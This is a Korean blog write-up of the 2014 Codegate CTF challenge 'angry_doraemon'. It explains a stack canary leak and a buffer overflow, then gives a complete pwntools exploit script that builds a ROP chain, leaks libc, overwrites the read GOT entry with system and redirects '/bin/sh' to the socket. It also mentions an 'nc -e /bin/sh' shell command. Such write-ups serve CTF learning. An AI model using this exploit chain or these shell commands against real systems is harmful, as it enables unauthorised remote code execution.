2014 codegate angry_doraemon
1번 메뉴에 쉘 실행 명령이 존재한다.
4번 메뉴에서 오버플로우가 발생한다. 하지만 rop는 불가능, canary 존재
5번 메뉴 First Attack에서
함수 포인터 buf에 read로 4바이트를 받고 있고 밑에서
다시 buf에 4바이트를 입력 받고 buf()를 실행시켜 준다.
(HIBYTE는 매크로인데 상위 1바이트를 의미함, 즉 \x08로 시작하면 안됨 코드섹션, 데이터섹션 힙..등등으로 점프할 수 없다.)
leak을 찾아야 rop를 하는데.. 여기서 좀 헤맷다.
read는 맨 뒤에 NULL을 안 넣기 때문에 밑에 sprintf, write에서 leak 발생
여기서 canary leak을 해야 하는데 canary는 하위 1바이트가 '\x00'으로 되어 있어서 '\x0a'까지 포함한 10바이트를 넣어줘야 leak이 가능하다.
bss에 x권한 있는걸로 봤었는데 없었어서 시간을 많이 허비했네요 하..
payload 길이가 110 최대라 dup2로는 힘들다. nc -vlp 7777 -e /bin/sh을 이용한 리버스 커넥션은 요즘 nc에 -e 옵션이 떼져 있어 좀 그렇고 리다이렉트를 이용해서 풀어보겠다. -> 지금 글쓰면서 보니까 dup2로 입출력 바꿔주고 코드에 execl("/bin/sh") 존재하니 호출해주면 110바이트 안넘게 가능하네요
리다이렉트는 >&, <&를 이용해서 푸는 방법인데 사용법은
명령 >& 파일명 ( <&도 동일 ) 이다.
e.g. /bin/sh >&4 <&4 는 4번 (fd) 파일로 /bin/sh의 입력과 출력을 보내라는 말이다.
전체적인 익스플로잇 순서도는 다음과 같다.
mermaid로 처음 그린 순서도 입니다,.,.
xxxxxxxxxx
from pwn import *
f = open('mouse.txt', 'w')
f.write('/bin/sh <&4 >&4\00')
f.close()
s = remote('localhost', 8888)
sleep(2)
s.recv()
s.sendline('4')
s.recvuntil('(y/n) ')
s.sendline('y'.ljust(10, 'A')) # canary leak
s.recvuntil('A\n')
canary = '\x00' + s.recv(3)
canary = u32(canary)
print("canary leak!: {}".format(hex(canary)))
s.close()
s = remote('localhost', 8888)
write_plt = 0x80486e0
read_plt = 0x8048620
read_got = 0x804b010
read_off = 0xd4350
buf_bss = 0x0804B0A0
p3ret = 0x80495bd
p2ret = 0x80495be
system_off = 0x3a940
sleep(2)
s.recv()
s.sendline('4') # write mouse.txt in bss && rop
s.recvuntil('(y/n) ')
pay = 'y' + 'A' * 9
pay += p32(canary)
pay = pay.ljust(26, 'A')
pay += p32(write_plt)
pay += p32(p3ret)
pay += p32(4) + p32(read_got) + p32(4)
pay += p32(read_plt)
pay += p32(p3ret)
pay += p32(4) + p32(read_got) + p32(4)
pay += p32(read_plt) # system
pay += 'BBBB'
pay += p32(buf_bss)
print("payload length: {}".format(len(pay)))
s.sendline(pay)
leak = u32(s.recv()[:4]) # libc leak
libc_base = leak - read_off
system = libc_base + system_off
print("libc leak!: {}".format(hex(libc_base)))
s.sendline(p32(system))
s.interactive()
쉘!
'system > writeup' 카테고리의 다른 글
2017 codegate babypwn (0) | 2019.01.04 |
---|---|
2014 plaidCTF ezhp (0) | 2019.01.04 |
2013 hdcon luckyzzang (0) | 2019.01.02 |
2016 whithat malloc (0) | 2019.01.01 |
2015 codegate yocto (0) | 2018.12.31 |